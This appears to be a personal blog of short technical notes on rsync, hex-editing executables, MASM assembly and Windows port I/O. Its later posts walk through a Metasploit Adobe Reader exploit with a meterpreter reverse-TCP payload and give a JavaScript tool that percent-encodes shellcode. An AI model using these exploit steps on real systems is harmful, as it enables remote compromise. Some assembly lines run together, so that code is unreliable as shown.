Code Monkey's Blog

Friday, May 18, 2012

Reference: Convert Assembly to Opcode

http://ref.x86asm.net/

Backup by using rsync in Linux and Windows

In Linux: man rsync

rsync -r ../WorkSpace username@servername:/home/username/backup-machine

In Windows, you can use cygwin

1. Install cygwin

2. search rsync, and install rsync package

3. run rsync

rsync -r /cygdrive/c username@servername:/home/username/back-windows

Modify Executable in Windows

1. Download Hex Editor: HxD
http://download.cnet.com/HxD-Hex-Editor/3000-2352_4-10891068.html

2. Open the Executable by using HxD

3. Go the executable place you want to modify
For example (nasm format) :
66 BA 2F 05 : mov dx, 0x52f
66 EE : out dx, al

Thursday, May 17, 2012

Assembly in Windows

1. Compiler: MASM
download: http://www.masm32.com/
install it
it has an masm editor
it use NASM assembly, please use pcasm for reference
http://www.drpaulcarter.com/pcasm/
But it doesn't have the IO instruction in the book

2. Start with hello world program

include \masm32\include\masm32rt.inc
.data
MyTitle db "ASM is Fun!",0
MyText db "I hope you're learning!",0
.codestart:
push 0
push offset MyTitle
push offset MyTextpush 0
call MessageBoxA
call ExitProcess
end start

URL: http://computertech.createmybb3.com/showthread.php?tid=105
http://www.youtube.com/watch?v=gklpZIVuTBY

3. Write your own program

.386
.model flat,stdcall
.code
start
mov dx, 1327
out dx, ax
end start

This program write port 0x52f It looks like MASM cannot use hex because I get compile error.

4. Run the Program

AllowIo.exe WritePort.exe /a
write to port in Windows, please see my another article
http://fengweizhang.blogspot.com/2012/04/user-program-write-to-io-ports-on.html

Saturday, April 28, 2012

Open an website fro command prompt

"c:\program files\internet exploder\iexplore.exe 'http://www.yahoo.com'"

"c:\program files\internet exploder\iexplore.exe ''C:\hello.html"

metasploit usage

1. download and intal it
2. open the metasploit console
windows: go to programs
linux: type msf<tab>, it will show your the commands

3. go to metasploit website, search a vulnerability, download the specific version of the application.

4. it will like:
msf > use exploit/windows/fileformat/adobe_reader_u3d
msf exploit(adobe_reader_u3d) > show payloads
msf exploit(adobe_reader_u3d) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(adobe_reader_u3d) > set LHOST [MY IP ADDRESS]
msf exploit(adobe_reader_u3d) > exploit

5. for example, you can set the payload as /windows/exec
msf> use exploit/....
msf> set payload windows/exec
msf> set cmd calc.exe

6. for this case, if your shell code executed, the calculator will show up on you screen.

Convert binary Shell code to Javascript percentage encoding

<html>
<head>
<script language="JavaScript" type="text/javascript">
function ConvertShellCode(strdata)
{
    var s = new String(strdata);
    s = s.replace(/[\s\\x]/g, '');
    var strcode = '';

    for(var idx=0; idx<s.length; idx+=4)
        strcode += "%u" + s.substr(idx+2,2) + s.substr(idx+0,2);

    document.forms.ShellToJavascript.decode.value = strcode;
}
</script>
</head>
<body>
<form name="ShellToJavascript" method="post">
<textarea rows="10" cols="100" name="encode"></textarea><br />
<textarea rows="10" cols="100" name="decode"></textarea><br />
<input type="button" value="Encode" onclick="return ConvertShellCode(document.ShellToJavascript.encode.value)" />
</form>
</body>
</html>

http://www.governmentsecurity.org/forum/topic/27916-shell-code-convertorencoder/